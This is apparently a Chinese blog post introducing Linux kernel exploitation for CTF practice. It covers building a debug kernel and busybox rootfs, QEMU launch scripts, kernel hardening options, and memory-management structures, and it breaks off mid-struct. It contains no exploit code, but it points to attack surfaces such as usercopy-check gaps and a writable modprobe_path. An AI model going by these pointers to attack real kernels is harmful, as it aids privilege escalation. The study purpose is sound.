Pwn.Linux-Kernel-Pwn-All-in-One
2025-10-13 00:47:06 # Pwn

overview

笔者厌倦了用户态堆的种种tricks,于是决定进入kernel pwn的大坑😊

Kernel 相关资料

[1]. https://syscalls.mebeim.net/?table=x86/64/x64/latest 一个syscall table 网站,包含特定架构和特定版本的syscall列表
[2]. https://sysprog21.github.io/lkmpg/ LKM编写指南

环境配置

内核源代码

获取地址

  1. linux kernel Archive
  2. cdn
  3. 国内镜像站

内核代码版本的类别:

  • Prepatch (RC) :主线内核的预发布版本,包含了最新的待测试的内核特性,由 Linus Torvalds 维护
  • Mainline:主线内核版本,RC 版本的新特性经过测试后便会合并到主线,每9~10周发一个版本,由 Linus Torvalds 维护
  • Stable:主线内核发布后便会变为 Stable 状态,其仅会被 stable kernel 维护者从主线树后向移植一些漏洞修复,直到下个内核版本释出。Stable kernel 根据需要进行更新,通常是一周一次
  • Longterm:部分内核版本会被选作长期支持版(LTS),相比起 Stable 内核有着更久的支持时长,通常仅会被后向移植重要的漏洞修复,且更新周期较慢(尤其是对于更老的版本)

内核编译

编译配置

通常情况下,我们在内核源码目录下使用如下命令进入图形化的内核配置面板, 这也是最常用的内核配置方法 ,其会读取 .config 文件的配置并允许我们在图形化的界面中进行修改,并在该文件不存在时则是会调用 make defconfig 先生成一份默认配置:

需要注意,图形化配置界面依赖于 ncurses 库,这通常可以从你的发行版仓库安装。

1
make menuconfig

相应地,你可以手动地为每个内核编译选项进行配置,下面的这个命令不会读取默认配置,而会逐条询问每一条内核配置是否开启,用户需要在命令行逐条回复 y (编译进内核)、m (作为内核模块编译,部分配置会提供该选项) 、n(不编译),如果你有较多的空闲时间且对内核架构有着较为完整的了解,可以考虑运行这个命令进行配置:

1
make config

此外,你可以使用如下的命令(任选一条)来动态检测当前环境所包含的内核模块(lsmod 命令所显示的内核模块),并在内核编译过程中编译这些模块,这通常适合嵌入式开发等需要定制化精简与裁剪内核的场景, 但往往不适合通用场景 :

1
2
make localyesconfig # 将驱动编译到内核当中  
make localmodconfig # 让驱动以独立内核模块的形式存在

相对应的,如下命令(任选一条)会尽可能多地启用可用的内核选项,在生成的配置中包含了尽可能多的内核特性与驱动:

1
2
make allyesconfig # 将驱动编译到内核当中  
make allmodconfig # 让驱动以独立内核模块的形式存在

一般保证勾选如下配置

  • Kernel hacking —> Kernel debugging
  • Kernel hacking —> Compile-time checks and compiler options —> Compile the kernel with debug info
  • Kernel hacking —> Generic Kernel Debugging Instruments –> KGDB: kernel debugger
  • kernel hacking —> Compile the kernel with frame pointers

编译内核模块

1
make modules

文件系统

busybox

使用busybox创建文件系统

1
wget https://busybox.net/downloads/busybox-1.33.0.tar.bz2

busybox.net 上不去,使用git上的镜像

1
git clone git@github.com:mirror/busybox.git

config:

1
make menuconfig

勾选 Settings —> Build static binary file (no shared lib)

编译

1
2
make -j$(nproc)
make install

编译好后,会存放在 _intsall 文件夹中。

在笔者写这章的时候,busybox还没有对高版本内核进行适配:
Pasted-image-20250930234042.png

对于此错误,可以直接删除tc.c文件

initramfs

Ramfs 是一个非常简单的文件系统,它将 Linux 的磁盘缓存机制(页面缓存和 dentry 缓存)导出为可动态调整大小的基于 RAM 的文件系统。

旧的实现是ram disk,即在内存里模拟一个block device,运行时还需要从block复制到对应页面,占用CPU总线。新的ramfs规避了这些缺点,大致是将inode和dentry直接对应到ram?(笔者还没有验证)

rootfs是ramfs的一个特殊实例,地位类似于进程中的init,无法被卸载。

initramfs是默认启动的rootfs,本质是一个包含gzip包的cpio镜像。

初始化文件系统

1
2
3
4
5
6
cd _install  
mkdir -pv {bin,sbin,etc,proc,sys,dev,home/ctf,root,tmp,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}
touch etc/inittab
mkdir etc/init.d
touch etc/init.d/rcS
chmod +x ./etc/init.d/rcS

配置初始化脚本

etc/inttab  中,写入如下内容:

1
2
3
4
5
6
::sysinit:/etc/init.d/rcS  
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

在上面的文件中指定了系统初始化脚本,因此接下来配置 etc/init.d/rcS,写入如下内容,主要是挂载各种文件系统:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh  
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

poweroff -d 0 -f

也可以在根目录下创建 init 文件,写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh  
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

cd /home/ctf
su ctf -c sh

poweroff -d 0 -f

别忘了添加可执行权限:

1
chmod +x ./init

配置用户组

1
2
3
4
5
echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd  
echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
echo "root:x:0:" > etc/group
echo "ctf:x:1000:" >> etc/group
echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab

打包为cpio或ext4磁盘

打包为initramfs:

1
find . | cpio -o --format=newc > ../../rootfs.cpio

打包为ext4镜像:

1
dd if=/dev/zero of=rootfs.img bs=1M count=32

之后将其格式化为 ext4 格式:

1
mkfs.ext4 rootfs.img

挂载镜像,将文件拷贝进去即可:

1
2
3
4
mkdir tmp  
sudo mount rootfs.img ./tmp/
sudo cp -rfp _install/* ./tmp/
sudo umount ./tmp

修改文件系统

initramfs:
解压然后重打包

1
2
cpio -idv < ./rootfs.cpio
find . | cpio -o --format=newc > ../../rootfs.cpio

ext4:
mount后然后修改:

1
2
sudo mount rootfs.img ./tmp/
sudo umount ./tmp

使用qemu运行

使用initramfs的启动脚本:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-nographic \
-s

使用ext4的启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-hda ./rootfs.img \
-nographic \
-monitor /dev/null \
-append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-s

ref

[1]. https://arttnba3.cn/2021/02/21/OS-0X01-LINUX-KERNEL-PART-II/#0x01-获取内核镜像(bzImage)
[2]. https://docs.kernel.org/filesystems/ramfs-rootfs-initramfs.html

安全机制

CONFIG_CFI_CLANG

控制流完整性校验,限制ROP

CONFIG_SLAB_FREELIST_HARDENED

类似于用户态下 glibc 中的 safe-linking 机制,在内核中的 slab/slub 分配器当中也存在着类似的机制保护着 freelist—— SLAB_FREELIST_HARDENED

类似于 glibc 2.32 版本引入的保护,在开启这种保护之前,slub 中的 free object 的 next 指针直接存放着 next free object 的地址,攻击者可以通过读取 freelist 泄露出内核线性映射区的地址,在开启了该保护之后 free object 的 next 指针存放的是由以下三个值进行异或操作后的值:

  • 当前 free object 的地址
  • 下一个 free object 的地址(转换端序)
  • 由 kmem_cache 指定的一个 random 值

此外,值得一提的是kmem_cache->cpu_slab->freelistslab->freelist是没有加密的,即header没有加密。

CONFIG_HARDENED_USERCOPY

hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界

  • 读取的数据长度是否超出源 object 范围
  • 写入的数据长度是否超出目的 object 范围

不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段

这一保护被用于 copy_to_user() 与 copy_from_user() 等数据交换 API 中

CONFIG_SLAB_FREELIST_RANDOM

这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中,对于未开启这种保护的一张完整的 slub,其上的 object 的连接顺序是线性连续的,但在开启了这种保护之后其上的 object 之间的连接顺序是随机的,这让攻击者无法直接预测下一个分配的 object 的地址

需要注意的是这种保护发生在slub allocator 刚从 buddy system 拿到新 slub 的时候,运行时 freelist 的构成仍遵循 LIFO

CONFIG_INIT_ON_ALLOC_DEFAULT_ON

当编译内核时开启了这个选项时,在内核进行“堆内存”分配时(包括 buddy system 和 slab allocator),会将被分配的内存上的内容进行清零,从而防止了利用未初始化内存进行数据泄露的情况

CONFIG_RANDOMIZE_KSTACK_OFFSET

决定内核栈是否存在随机偏移

CONFIG_MEMCG_KMEM

决定GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 是否会从同样的 kmalloc-xx 中进行分配

CONFIG_CFI_CLANG

决定是否开启CFI(控制流完整性), 限制了ROP

CONFIG_STATIC_USERMODEHELPER

决定modprobe_path 是否可写

Kernel内存分配API

参考: https://www.kernel.org/doc/html/next/core-api/memory-allocation.html

介绍了内核内存分配的几个flag以及分配API

常见内核开发api一般存储于/usr/src/kernels/[kernel version]/tools/include/

GFP_KERNEL 是内核最常见的内核分配FLAG, 实际值是 0xcc0, 相对而言从用户空间触发的不受信任的分配一般使用GFP_KERNEL_ACCOUNT,其值是 0x400cc0

virtual memory map

当前linux内存布局主要由下图所示:
Pasted-image-20241231144432.png

其中比较重要的包括:

  • 0-00007fffffffffff: 用户空间虚拟内存
  • ffff888000000000-ffffc87fffffffff:直接映射区,映射了所有物理内存,也是内核堆的分配空间
  • ffffc90000000000-ffffe8ffffffffff:
      • vmalloc 空间
        由内核函数 vmalloc 管理,用于分配非连续的虚拟内存,这些虚拟地址映射到物理内存时可能是非连续的。这与 kmalloc(连续分配)不同。
    • ioremap 空间
      通过 ioremap 函数,内核为设备的内存映射 I/O 地址创建虚拟地址映射,用于访问硬件寄存器和 I/O 区域。
  • ffffffea0000000-ffffffeaffffffff: vmemmap_base
  • ffffff0000000000-ffffff7fffffffff:%esp fixup stacks
  • fffffe0000000000-fffffe7fffffffff:cpu_entry_area mapping
    • 用于用户和内核切换地址的空间,详情见KPTI部分的解释
  • ffffffff80000000-ffffffff9fffffff: kernel text mapping, mapped to physical address
  • ffffffffa0000000-fffffffffeffffff:module mapping space

内存管理

以下所有内存管理代码基于linux-v6.6.67

Linux 可用于多种体系结构,因此需要一种独立于体系结构的抽象来表示物理内存。

内存管理中普遍存在的第一个主要概念是 非统一内存访问 (NUMA) 。对于多单元机器(每个单元可能有独立的CPU、内存、总线),内存可以排列成存储体,根据距处理器的“距离”,这些存储体会产生不同的访问成本。例如,可能有一组内存分配给每个 CPU,或者有一组非常适合外围设备附近的 DMA 的内存。

这样一组内存被称为一个节点,这个概念在 Linux 下用一个 struct pglist_data表示, 即使架构是 UMA。该结构始终由其 typedef pg_data_t引用。特定节点的pg_data_t结构可以通过NODE_DATA(nid)宏引用,其中 nid是该节点的 ID

对于 NUMA 架构,节点结构是在启动早期由架构特定代码分配的。对于 UMA 架构,仅使用一个名为contig_page_data的静态pg_data_t结构。

整个物理地址空间被划分为一个或多个称为区域的块,它们代表内存中的范围。这些范围通常由访问物理内存的体系结构约束决定。节点内对应于特定区域的内存范围由struct zone描述,类型定义为zone_t 。每个区域都有下述类型之一。

  • ZONE_DMAZONE_DMA32表示适合无法访问所有可寻址内存的外围设备进行 DMA 的内存。多年来,有更好、更强大的接口来获取具有 DMA 特定要求的内存(使用通用设备的动态 DMA 映射),但ZONE_DMAZONE_DMA32仍然代表对访问方式有限制的内存范围。根据架构的不同,这些区域类型中的任何一个或者甚至它们都可以在构建时使用CONFIG_ZONE_DMA和 CONFIG_ZONE_DMA32配置选项。某些 64 位平台可能需要两个区域,因为它们支持具有不同 DMA 寻址限制的外设。
  • ZONE_NORMAL用于内核始终可以访问的普通内存。如果 DMA 设备支持传输到所有可寻址内存,则可以在此区域中的页面上执行 DMA 操作。 ZONE_NORMAL始终启用。
  • ZONE_HIGHMEM是物理内存中未被内核页表中的永久映射覆盖的部分。该区域中的内存只能由内核使用临时映射来访问。该区域仅在某些 32 位架构上可用,并通过CONFIG_HIGHMEM启用。
  • ZONE_MOVABLE用于普通可访问内存,就像ZONE_NORMAL一样。不同的是ZONE_MOVABLE中大部分page的内容都是可移动的。这意味着虽然这些页面的虚拟地址不会改变,但它们的内容可能会在不同的物理页面之间移动。经常 ZONE_MOVABLE在内存热插拔期间填充,但也可以在启动时使用kernelcore 、 movablecore和 之一进行填充 movable_node内核命令行参数。看 页面迁移和 内存热(拔)插了解更多详细信息。
  • ZONE_DEVICE表示驻留在 PMEM 和 GPU 等设备上的内存。 它具有与 RAM 区域类型不同的特征,并且它的存在是为了提供 设备驱动程序识别物理地址范围的结构页和内存映射服务。 ZONE_DEVICE通过配置选项CONFIG_ZONE_DEVICE启用。

节点和区域范围之间的关系由固件报告的物理内存映射、内存寻址的架构约束以及内核命令行中的某些参数确定。

例如,对于具有 2 GB RAM 的 x86 UMA 计算机上的 32 位内核,整个内存将位于节点 0 上,并且将存在三个区域: ZONE_DMA 、 ZONE_NORMALZONE_HIGHMEM

Pasted-image-20241228164003.png

zone维护free_area的双链表(详情见buddy system),双链表管理的对象是struct page ,每一个struct page 对应一个物理页,并通过此进行物理页面的分配。

以上是内核对于物理内存的管理后端,为了满足来自不同来源(如设备驱动程序、用户模式进程、文件系统等)的内存分配/取消分配请求。它需要确保在指定的条件下有效地服务这些请求。为此它依赖于不同类型的内存分配器。每个分配器都有自己的接口和底层实现。内核使用的三个主要内存分配器是:

  1. Page allocator: budddy system
  2. Slab allocator
  3. Vmalloc allocator

还有其他分配器,例如连续内存分配器(CMA)等

Linux 内核将可用的物理内存分组为页面(通常大小为 4K),这些页面由页面分配器分配,页面分配器充当以页面大小的倍数分配物理连续内存的接口。为了分配大的虚拟连续块(物理上可能不连续),使用 vmalloc 接口。

更常见的是,内核为其内部使用发起的分配请求是针对较小的块(通常小于页面大小),在这种情况下使用页面分配器会导致内存浪费和内部碎片。为了避免这些问题,内核使用了基于对象缓存的思想的slab分配器。

节点(Node)

正如我们所提到的,内存中的每个节点都由pg_data_t描述,它是struct pglist_data的 typedef。分配页面时, Linux 默认使用节点本地分配策略从最接近正在运行的CPU的节点分配内存。由于进程往往在同一个 CPU 上运行,因此可能会使用当前节点的内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
// /include/linux/mmzone.h
typedef struct pglist_data {
/*
* node_zones contains just the zones for THIS node. Not all of the
* zones may be populated, but it is the full list. It is referenced by
* this node's node_zonelists as well as other node's node_zonelists.
*/
struct zone node_zones[MAX_NR_ZONES];

/*
* node_zonelists contains references to all zones in all nodes.
* Generally the first zones will be references to this node's
* node_zones.
*/
struct zonelist node_zonelists[MAX_ZONELISTS];

int nr_zones; /* number of populated zones in this node */
#ifdef CONFIG_FLATMEM /* means !SPARSEMEM */
struct page *node_mem_map;
#ifdef CONFIG_PAGE_EXTENSION
struct page_ext *node_page_ext;
#endif
#endif
#if defined(CONFIG_MEMORY_HOTPLUG) || defined(CONFIG_DEFERRED_STRUCT_PAGE_INIT)
/*
* Must be held any time you expect node_start_pfn,
* node_present_pages, node_spanned_pages or nr_zones to stay constant.
* Also synchronizes pgdat->first_deferred_pfn during deferred page
* init.
*
* pgdat_resize_lock() and pgdat_resize_unlock() are provided to
* manipulate node_size_lock without checking for CONFIG_MEMORY_HOTPLUG
* or CONFIG_DEFERRED_STRUCT_PAGE_INIT.
*
* Nests above zone->lock and zone->span_seqlock
*/
spinlock_t node_size_lock;
#endif
unsigned long node_start_pfn;
unsigned long node_present_pages; /* total number of physical pages */
unsigned long node_spanned_pages; /* total size of physical page
range, including holes */
int node_id;
wait_queue_head_t kswapd_wait;
wait_queue_head_t pfmemalloc_wait;

/* workqueues for throttling reclaim for different reasons. */
wait_queue_head_t reclaim_wait[NR_VMSCAN_THROTTLE];

atomic_t nr_writeback_throttled;/* nr of writeback-throttled tasks */
unsigned long nr_reclaim_start; /* nr pages written while throttled
* when throttling started. */
#ifdef CONFIG_MEMORY_HOTPLUG
struct mutex kswapd_lock;
#endif
struct task_struct *kswapd; /* Protected by kswapd_lock */
int kswapd_order;
enum zone_type kswapd_highest_zoneidx;

int kswapd_failures; /* Number of 'reclaimed == 0' runs */

#ifdef CONFIG_COMPACTION
int kcompactd_max_order;
enum zone_type kcompactd_highest_zoneidx;
wait_queue_head_t kcompactd_wait;
struct task_struct *kcompactd;
bool proactive_compact_trigger;
#endif
/*
* This is a per-node reserve of pages that are not available
* to userspace allocations.
*/
unsigned long totalreserve_pages;
#ifdef CONFIG_NUMA
/*
* node reclaim becomes active if more unmapped pages exist.
*/
unsigned long min_unmapped_pages;
unsigned long min_slab_pages;
#endif /* CONFIG_NUMA */

/* Write-intensive fields used by page reclaim */
CACHELINE_PADDING(_pad1_);

#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT
/*
* If memory initialisation on large machines is deferred then this
* is the first PFN that needs to be initialised.
*/
unsigned long first_deferred_pfn;
#endif /* CONFIG_DEFERRED_STRUCT_PAGE_INIT */

#ifdef CONFIG_TRANSPARENT_HUGEPAGE
struct deferred_split deferred_split_queue;
#endif

#ifdef CONFIG_NUMA_BALANCING
/* start time in ms of current promote rate limit period */
unsigned int nbp_rl_start;
/* number of promote candidate pages at start time of current rate limit period */
unsigned long nbp_rl_nr_cand;
/* promote threshold in ms */
unsigned int nbp_threshold;
/* start time in ms of current promote threshold adjustment period */
unsigned int nbp_th_start;
/*
* number of promote candidate pages at start time of current promote
* threshold adjustment period
*/
unsigned long nbp_th_nr_cand;
#endif
/* Fields commonly accessed by the page reclaim scanner */

/*
* NOTE: THIS IS UNUSED IF MEMCG IS ENABLED.
*
* Use mem_cgroup_lruvec() to look up lruvecs.
*/
struct lruvec __lruvec;

unsigned long flags;

#ifdef CONFIG_LRU_GEN
/* kswap mm walk data */
struct lru_gen_mm_walk mm_walk;
/* lru_gen_folio list */
struct lru_gen_memcg memcg_lru;
#endif

CACHELINE_PADDING(_pad2_);

/* Per-node vmstats */
struct per_cpu_nodestat __percpu *per_cpu_nodestats;
atomic_long_t vm_stat[NR_VM_NODE_STAT_ITEMS];
#ifdef CONFIG_NUMA
struct memory_tier __rcu *memtier;
#endif
#ifdef CONFIG_MEMORY_FAILURE
struct memory_failure_stats mf_stats;
#endif
} pg_data_t;

关键字段包括:

  • node_zones 表示该节点的区域列表。并非所有区域都可能被填充,但这是 完整的列表。它被该节点的node_zonelists以及其它节点的 node_zonelists引用。
  • node_zonelists 表示所有节点中所有区域的列表。此列表定义了分配内存时首选的区域 顺序。node_zonelists 在核心内存管理结构初始化期间, 由 mm/page_alloc.c 中的 build_zonelists() 函数设置。
  • nr_zones 表示此节点中已填充区域的数量。
  • node_mem_map 对于使用FLATMEM内存模型的UMA系统,0号节点的 node_mem_map 表示每个物理帧的struct pages数组。
  • node_page_ext 对于使用FLATMEM内存模型的UMA系统,0号节点的 node_page_ext 是struct pages的扩展数组。只有在构建时开启了 CONFIG_PAGE_EXTENSION 选项的内核中才可用。
  • node_start_pfn 表示此节点中起始页面帧的页面帧号。
  • node_present_pages 表示此节点中存在的物理页面的总数。
  • node_spanned_pages 表示包括空洞在内的物理页面范围的总大小。
  • node_size_lock 一个保护定义节点范围字段的锁。仅在开启了 CONFIG_MEMORY_HOTPLUG 或 CONFIG_DEFERRED_STRUCT_PAGE_INIT 配置选项中的某一个时才定义。提 供了 pgdat_resize_lock() 和 pgdat_resize_unlock() 用来操作 node_size_lock,而无需检查 CONFIG_MEMORY_HOTPLUG 或 CONFIG_DEFERRED_STRUCT_PAGE_INIT 选项。
  • node_id 节点的节点ID(NID),从0开始。
  • totalreserve_pages 这是每个节点保留的页面,这些页面不可用于用户空间分配。
  • first_deferred_pfn 如果大型机器上的内存初始化被推迟,那么第一个PFN(页帧号)是需要初始化的。 在开启了 CONFIG_DEFERRED_STRUCT_PAGE_INIT 选项时定义。
  • deferred_split_queue 每个节点的大页队列,这些大页的拆分被推迟了。仅在开启了 CONFIG_TRANSPARENT_HUGEPAGE 配置选项时定义。
  • __lruvec 每个节点的lruvec持有LRU(最近最少使用)列表和相关参数。仅在禁用了内存 控制组(cgroups)时使用。它不应该直接访问,而应该使用 mem_cgroup_lruvec() 来查找lruvecs。

此结构有一个全局变量实例如下:

1
2
// arch/x86/mm/numa.c
struct pglist_data *node_data[MAX_NUMNODES] __read_mostly;

区(zone)

zone的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
// include/linux/mmzone.h#L815
struct zone {
/* Read-mostly fields */

/* zone watermarks, access with *_wmark_pages(zone) macros */
unsigned long _watermark[NR_WMARK];
unsigned long watermark_boost;

unsigned long nr_reserved_highatomic;

/*
* We don't know if the memory that we're going to allocate will be
* freeable or/and it will be released eventually, so to avoid totally
* wasting several GB of ram we must reserve some of the lower zone
* memory (otherwise we risk to run OOM on the lower zones despite
* there being tons of freeable ram on the higher zones). This array is
* recalculated at runtime if the sysctl_lowmem_reserve_ratio sysctl
* changes.
*/
long lowmem_reserve[MAX_NR_ZONES];

#ifdef CONFIG_NUMA
int node;
#endif
struct pglist_data *zone_pgdat;
struct per_cpu_pages __percpu *per_cpu_pageset;
struct per_cpu_zonestat __percpu *per_cpu_zonestats;
/*
* the high and batch values are copied to individual pagesets for
* faster access
*/
int pageset_high;
int pageset_batch;

#ifndef CONFIG_SPARSEMEM
/*
* Flags for a pageblock_nr_pages block. See pageblock-flags.h.
* In SPARSEMEM, this map is stored in struct mem_section
*/
unsigned long *pageblock_flags;
#endif /* CONFIG_SPARSEMEM */

/* zone_start_pfn == zone_start_paddr >> PAGE_SHIFT */
unsigned long zone_start_pfn;

/*
* spanned_pages is the total pages spanned by the zone, including
* holes, which is calculated as:
* spanned_pages = zone_end_pfn - zone_start_pfn;
*
* present_pages is physical pages existing within the zone, which
* is calculated as:
* present_pages = spanned_pages - absent_pages(pages in holes);
*
* present_early_pages is present pages existing within the zone
* located on memory available since early boot, excluding hotplugged
* memory.
*
* managed_pages is present pages managed by the buddy system, which
* is calculated as (reserved_pages includes pages allocated by the
* bootmem allocator):
* managed_pages = present_pages - reserved_pages;
*
* cma pages is present pages that are assigned for CMA use
* (MIGRATE_CMA).
*
* So present_pages may be used by memory hotplug or memory power
* management logic to figure out unmanaged pages by checking
* (present_pages - managed_pages). And managed_pages should be used
* by page allocator and vm scanner to calculate all kinds of watermarks
* and thresholds.
*
* Locking rules:
*
* zone_start_pfn and spanned_pages are protected by span_seqlock.
* It is a seqlock because it has to be read outside of zone->lock,
* and it is done in the main allocator path. But, it is written
* quite infrequently.
*
* The span_seq lock is declared along with zone->lock because it is
* frequently read in proximity to zone->lock. It's good to
* give them a chance of being in the same cacheline.
*
* Write access to present_pages at runtime should be protected by
* mem_hotplug_begin/done(). Any reader who can't tolerant drift of
* present_pages should use get_online_mems() to get a stable value.
*/
atomic_long_t managed_pages;
unsigned long spanned_pages;
unsigned long present_pages;
#if defined(CONFIG_MEMORY_HOTPLUG)
unsigned long present_early_pages;
#endif
#ifdef CONFIG_CMA
unsigned long cma_pages;
#endif

const char *name;

#ifdef CONFIG_MEMORY_ISOLATION
/*
* Number of isolated pageblock. It is used to solve incorrect
* freepage counting problem due to racy retrieving migratetype
* of pageblock. Protected by zone->lock.
*/
unsigned long nr_isolate_pageblock;
#endif

#ifdef CONFIG_MEMORY_HOTPLUG
/* see spanned/present_pages for more description */
seqlock_t span_seqlock;
#endif

int initialized;

/* Write-intensive fields used from the page allocator */
CACHELINE_PADDING(_pad1_);

/* free areas of different sizes */
struct free_area free_area[NR_PAGE_ORDERS];

#ifdef CONFIG_UNACCEPTED_MEMORY
/* Pages to be accepted. All pages on the list are MAX_ORDER */
struct list_head unaccepted_pages;
#endif

/* zone flags, see below */
unsigned long flags;

/* Primarily protects free_area */
spinlock_t lock;

/* Write-intensive fields used by compaction and vmstats. */
CACHELINE_PADDING(_pad2_);

/*
* When free pages are below this point, additional steps are taken
* when reading the number of free pages to avoid per-cpu counter
* drift allowing watermarks to be breached
*/
unsigned long percpu_drift_mark;

#if defined CONFIG_COMPACTION || defined CONFIG_CMA
/* pfn where compaction free scanner should start */
unsigned long compact_cached_free_pfn;
/* pfn where compaction migration scanner should start */
unsigned long compact_cached_migrate_pfn[ASYNC_AND_SYNC];
unsigned long compact_init_migrate_pfn;
unsigned long compact_init_free_pfn;
#endif

#ifdef CONFIG_COMPACTION
/*
* On compaction failure, 1<<compact_defer_shift compactions
* are skipped before trying again. The number attempted since
* last failure is tracked with compact_considered.
* compact_order_failed is the minimum compaction failed order.
*/
unsigned int compact_considered;
unsigned int compact_defer_shift;
int compact_order_failed;
#endif

#if defined CONFIG_COMPACTION || defined CONFIG_CMA
/* Set to true when the PG_migrate_skip bits should be cleared */
bool compact_blockskip_flush;
#endif

bool contiguous;

CACHELINE_PADDING(_pad3_);
/* Zone statistics */
atomic_long_t vm_stat[NR_VM_ZONE_STAT_ITEMS];
atomic_long_t vm_numa_event[NR_VM_NUMA_EVENT_ITEMS];
} ____cacheline_internodealigned_in_smp;

介绍一下几个重点字段:

  • node_zones
    • 包含该节点内所有的 zone 数据(例如 ZONE_DMAZONE_NORMALZONE_HIGHMEM 等)。
    • struct zone 描述了内存区域,它负责管理不同用途的内存。
    • 不同的 zone 可能具有不同的分配策略,例如低地址空间可能用于 DMA,普通用户空间位于 ZONE_NORMAL
  • node_zonelists
    • 包含用于分配内存时的 zone 优先级列表。
    • 内存分配时,系统会按顺序尝试使用这些 zone,直到找到可用内存。
  • nr_zones
    • 表示该节点的 zone 数量。通常是 3 或 4(ZONE_DMAZONE_NORMALZONE_HIGHMEMZONE_MOVABLE 等)。
  • node_mem_map
    • 一个指针,指向该节点上的所有物理内存页对应的页描述符数组(struct page)。
    • struct page 是内核用于管理物理页的核心结构,每个物理页都对应一个 struct page 实例。
  • node_start_pfn
    • 该节点的起始页帧号(Page Frame Number, PFN)。这是节点物理内存的基址。
  • watermark
    • 表示内存分配的水位线,分为低水位、中水位和高水位(WMARK_MINWMARK_LOWWMARK_HIGH)。
    • 用于决定是否触发页面回收(kswapd):
      • 当空闲页面低于低水位时,会立即触发内存回收。
      • 中水位和高水位用于控制内存分配的预警和缓冲。

free_area | buddy system的管理对象

1
2
3
4
struct free_area {
struct list_head free_list[MIGRATE_TYPES];
unsigned long nr_free;
};

free_area 是zone结构体的一个成员,对应我们常说的buddy system的管理对象。每一个free_area包含不同迁移类型的同一order的页面。
Pasted-image-20250102111300.png

zone中的free_area成员是一个free_area数组,包含不同order的free area
Pasted-image-20250102103508.png

两张图都来自arttnba3’s blog

page

page为64b大小的结构体:

Pasted-image-20241228190151.png

结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
struct page {
unsigned long flags; /* Atomic flags, some possibly
* updated asynchronously */
/*
* Five words (20/40 bytes) are available in this union.
* WARNING: bit 0 of the first word is used for PageTail(). That
* means the other users of this union MUST NOT use the bit to
* avoid collision and false-positive PageTail().
*/
union {
struct { // 匿名页或者page cache由这个结构体管理
union {
// 可能在lru链表
struct list_head lru;

/* Or, for the Unevictable "LRU list" slot */
struct {
// 主要是为了避免和PageTail混淆,
void *__filler;
/* Count page's or folio's mlocks */
unsigned int mlock_count;
};

// 或者是free page
// 被buddy system管理,
struct list_head buddy_list;
// 或者在pcblist里
struct list_head pcp_list;
};// 上面是管理的链表
/* See page-flags.h for PAGE_MAPPING_FLAGS */
struct address_space *mapping;
union {
pgoff_t index; /* Our offset within mapping. */
unsigned long share; /* share count for fsdax */
};
// 在不同的情况下有不同的作用,在buddy system表明其order
unsigned long private;
};// 以上是情况1
struct {//此结构体表示page在netstack使用的page pool
unsigned long pp_magic;
struct page_pool *pp;
